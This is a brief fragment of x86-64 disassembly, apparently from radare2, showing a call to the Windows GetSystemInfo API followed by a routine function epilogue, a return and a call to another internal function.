call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, rdi
add rsp, 0x60
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.14004c540
int3